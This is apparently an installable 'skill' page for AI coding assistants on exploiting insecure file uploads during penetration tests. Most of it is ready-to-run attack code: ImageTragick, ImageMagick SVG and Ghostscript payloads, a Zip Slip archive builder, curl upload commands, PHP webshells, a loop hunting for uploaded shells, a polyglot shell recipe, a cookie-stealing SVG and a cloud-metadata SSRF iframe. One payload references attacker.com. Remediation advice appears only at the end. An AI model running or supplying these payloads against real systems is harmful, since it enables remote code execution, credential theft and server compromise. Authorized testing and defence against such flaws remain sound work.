Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.
# ImageTragick (CVE-2016-3714)cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
curl -F "file=@exploit.mvg;filename=exploit.jpg""$UPLOAD_URL"# ImageMagick SVG shellcat > exploit.svg << 'EOF'
<image>
<read filename="ephemeral:/tmp/test"/>
<write filename="/tmp/shell.php"/>
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://attacker.com/shell.php" />
</svg>
</image>
EOF
# Ghostscript exploitation (PDF/EPS processing)cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
EOF
curl -F "file=@exploit.eps;filename=document.eps""$UPLOAD_URL"# Zip Slip (archive extraction traversal)# Create a zip with path traversal entries
python3 -c "
import zipfile, io
z = zipfile.ZipFile('zipslip.zip', 'w')
z.writestr('../../../tmp/evil.txt', 'pwned')
z.close()
"
curl -F "file=@zipslip.zip""$UPLOAD_URL"
Step 6: Verify Uploaded Webshell Execution
After successful upload, locate and execute the shell.
# Common upload directories to checkfordirin /uploads /media /images /files /attachments \
/static/uploads /assets/uploads /content/images \
/wp-content/uploads /user/files; doecho -n "$dir/shell.php -> "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com${dir}/shell.php"echodone# If upload returns file URL, test direct execution
UPLOAD_URL=$(curl -s -F "file=@shell.php.jpg""$UPLOAD_URL" | jq -r '.url // .path // .file_url')
echo"Uploaded to: $UPLOAD_URL"
curl -s "https://target.example.com${UPLOAD_URL}?cmd=id"# Test if uploaded file is served with correct content type
curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type
# If content-type is text/html or application/x-httpd-php → code will execute# Minimal PHP webshell for proof-of-concept (READ-ONLY commands only)echo'<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php
Key Concepts
Concept
Description
Unrestricted File Upload
Application accepts any file without validation — direct RCE risk
Extension Blocklist
Server blocks known dangerous extensions but can be bypassed with alternatives
MIME Type Validation
Checking Content-Type header only — easily spoofed by the client
Magic Byte Validation
Checking file header bytes — bypassed with polyglot files
Polyglot File
A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP)
Path Traversal Upload
Writing files outside the intended upload directory via filename manipulation
ImageTragick
CVE-2016-3714 — ImageMagick command injection via crafted image files
Zip Slip
Archive extraction vulnerability allowing file writes outside the target directory
Race Condition Upload
File is briefly accessible before server-side validation deletes it
Tools & Systems
Tool
Purpose
Burp Suite
Intercept and modify upload requests, change Content-Type and filename
exiftool
Inject payloads into image EXIF metadata
Weevely
Generate obfuscated PHP webshells that evade signature detection
phpggc
PHP deserialization gadget chain generator for upload+deserialize chains
fuxploider
Automated file upload vulnerability scanner
upload-scanner (Burp extension)
Automated upload bypass testing within Burp Suite
Common Scenarios
Scenario 1: Avatar Upload to RCE
Profile avatar upload accepts JPEG files. By uploading a polyglot file with GIF89a magic bytes and a .php.jpg double extension, the server stores it as PHP. Accessing the URL directly triggers PHP execution, achieving RCE.
Scenario 2: SVG Upload to Stored XSS
Application allows SVG uploads for user icons. An SVG containing onload="alert(document.cookie)" executes JavaScript in every user's browser who views the icon, enabling session hijacking.
Scenario 3: ZIP Import with Path Traversal
A bulk import feature extracts uploaded ZIP files. A crafted ZIP with ../../shell.php entries writes a webshell to the web root outside the upload directory.
Scenario 4: Document Converter SSRF
A PDF-from-URL feature uses server-side rendering. Uploading an HTML file with <iframe src="http://169.254.169.254/latest/meta-data/"> causes the renderer to fetch and embed cloud metadata in the generated PDF.
Output Format
## File Upload Vulnerability Finding
**Vulnerability**: Unrestricted File Upload → Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: POST /api/profile/avatar - `file` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg
2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg
3. Server returns upload path: /uploads/avatars/shell.php.jpg
4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes
5. Command output: uid=33(www-data) gid=33(www-data)
### Impact
- Full remote code execution as www-data user
- Read access to application source code and configuration
- Database credential extraction from config files
- Potential lateral movement to internal services
### Recommendation
1. Validate file content using magic bytes AND re-encode images (strip metadata)
2. Use allowlist for file extensions (not blocklist)
3. Store uploads outside the web root with randomized non-guessable filenames
4. Serve uploads from a separate domain/CDN with no-execute headers
5. Set Content-Disposition: attachment for all uploaded files
6. Implement Content-Security-Policy to prevent inline script execution from SVG